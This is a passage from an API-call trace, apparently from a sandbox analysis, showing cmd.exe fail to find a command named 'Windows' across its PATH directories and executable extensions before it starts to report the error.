lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.398] GetLastError () returned 0x2 [0228.398] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.398] GetLastError () returned 0x2 [0228.398] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.398] GetLastError () returned 0x2 [0228.398] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.399] GetLastError () returned 0x2 [0228.399] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.399] GetLastError () returned 0x2 [0228.399] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.399] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.399] GetLastError () returned 0x2 [0228.399] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.400] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cc70 [0228.400] FindClose (in: hFindFile=0x20b0f92cc70 | out: hFindFile=0x20b0f92cc70) returned 1 [0228.400] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.400] GetLastError () returned 0x2 [0228.400] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.746] GetLastError () returned 0x2 [0228.746] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.747] GetLastError () returned 0x2 [0228.747] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.747] GetLastError () returned 0x2 [0228.747] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.747] GetLastError () returned 0x2 [0228.747] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.748] GetLastError () returned 0x2 [0228.748] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.748] GetLastError () returned 0x2 [0228.748] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.748] GetLastError () returned 0x2 [0228.748] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.748] GetLastError () returned 0x2 [0228.748] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.749] GetLastError () returned 0x2 [0228.749] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.749] GetLastError () returned 0x2 [0228.749] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.749] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.749] GetLastError () returned 0x2 [0228.749] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.749] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.750] GetLastError () returned 0x2 [0228.750] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.750] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.750] GetLastError () returned 0x2 [0228.750] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.751] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.751] GetLastError () returned 0x2 [0228.751] ??_V@YAXPEAX@Z () returned 0x1 [0228.751] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0228.768] malloc (_Size=0xffce) returned 0x20b0fa70920 [0228.769] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0228.769] malloc (_Size=0xffce) returned 0x20b0fa80900 [0228.769] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0228.769] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0228.769] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0228.770] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0228.770] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0228.770] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0228.770] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0228.770] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0228.770] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0228.771] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0228.771] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0228.771] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0228.771] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0228.771] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0228.771] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0228.771] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0228.771] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0228.771] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0228.771] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0228.771] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0228.771] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0228.771] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0228.771] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0228.771] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0228.771] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0228.771] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0228.771] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0228.771] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0228.771] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0228.771] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0228.771] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0228.771] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0228.771] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0228.771] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0228.771] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0228.771] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0228.771] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0228.772] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0228.772] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0228.772] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0228.772] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0228.772] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0228.772] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0228.772] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0228.772] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0228.772] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0228.772] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0228.772] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0228.772] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0228.772] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0228.772] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0228.772] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0228.772] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0228.772] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0228.772] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0228.772] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0228.772] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0228.772] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0228.772] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0228.772] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0228.772] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0228.772] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0228.773] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0228.773] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0228.773] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0228.773] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0228.773] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0228.773] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0228.773] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0228.773] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0228.773] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0228.773] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0228.773] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0228.773] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0228.773] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0228.773] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0228.773] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0228.773] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0228.773] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0228.773] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0228.773] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0228.773] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0228.773] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0228.773] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0228.773] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0228.773] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0228.773] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0228.774] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0228.774] ??_V@YAXPEAX@Z () returned 0x1 [0228.774] GetProcessHeap () returned 0x20b0f920000 [0228.774] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0228.774] GetProcessHeap () returned 0x20b0f920000 [0228.774] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xc4) returned 0x20b0f9574b0 [0228.775] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0228.775] malloc (_Size=0xffce) returned 0x20b0fa80900 [0228.775] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0228.776] GetProcessHeap () returned 0x20b0f920000 [0228.776] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0228.777] SetErrorMode (uMode=0x0) returned 0x0 [0228.777] SetErrorMode (uMode=0x1) returned 0x0 [0228.777] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0228.777] SetErrorMode (uMode=0x0) returned 0x1 [0228.777] GetProcessHeap () returned 0x20b0f920000 [0228.777] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0228.777] GetProcessHeap () returned 0x20b0f920000 [0228.777] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0228.777] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0228.777] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0228.777] GetProcessHeap () returned 0x20b0f920000 [0228.777] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e0d0 [0228.777] GetProcessHeap () returned 0x20b0f920000 [0228.777] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0228.778] GetProcessHeap () returned 0x20b0f920000 [0228.778] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0228.778] GetProcessHeap () returned 0x20b0f920000 [0228.778] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0228.778] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0228.778] GetProcessHeap () returned 0x20b0f920000 [0228.778] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947280 [0228.778] GetProcessHeap () returned 0x20b0f920000 [0228.778] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947280, Size=0x7e) returned 0x20b0f956910 [0228.778] GetProcessHeap () returned 0x20b0f920000 [0228.778] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956910) returned 0x7e [0228.778] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.778] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92cdf0 [0228.778] FindClose (in: hFindFile=0x20b0f92cdf0 | out: hFindFile=0x20b0f92cdf0) returned 1 [0228.779] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.779] GetLastError () returned 0x2 [0228.779] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.779] GetLastError () returned 0x2 [0228.779] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.779] GetLastError () returned 0x2 [0228.780] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.780] GetLastError () returned 0x2 [0228.780] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.780] GetLastError () returned 0x2 [0228.780] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.780] GetLastError () returned 0x2 [0228.780] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.781] GetLastError () returned 0x2 [0228.781] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.781] GetLastError () returned 0x2 [0228.781] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.781] GetLastError () returned 0x2 [0228.781] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.781] GetLastError () returned 0x2 [0228.781] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.782] GetLastError () returned 0x2 [0228.782] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.782] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.782] GetLastError () returned 0x2 [0228.782] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.782] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92cd90 [0228.782] FindClose (in: hFindFile=0x20b0f92cd90 | out: hFindFile=0x20b0f92cd90) returned 1 [0228.783] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.783] GetLastError () returned 0x2 [0228.783] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.783] GetLastError () returned 0x2 [0228.783] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.783] GetLastError () returned 0x2 [0228.783] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.783] GetLastError () returned 0x2 [0228.783] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.784] GetLastError () returned 0x2 [0228.784] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.784] GetLastError () returned 0x2 [0228.784] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.784] GetLastError () returned 0x2 [0228.784] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.784] GetLastError () returned 0x2 [0228.784] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.785] GetLastError () returned 0x2 [0228.785] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.785] GetLastError () returned 0x2 [0228.785] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.785] GetLastError () returned 0x2 [0228.785] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.785] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.785] GetLastError () returned 0x2 [0228.786] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.786] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.786] GetLastError () returned 0x2 [0228.786] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.786] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.786] GetLastError () returned 0x2 [0228.786] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.786] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.787] GetLastError () returned 0x2 [0228.787] ??_V@YAXPEAX@Z () returned 0x1 [0228.787] _get_osfhandle (_FileHandle=2) returned 0x54 [0228.787] GetFileType (hFile=0x54) returned 0x2 [0228.787] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0228.787] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0228.788] _get_osfhandle (_FileHandle=2) returned 0x54 [0228.788] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0228.789] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, 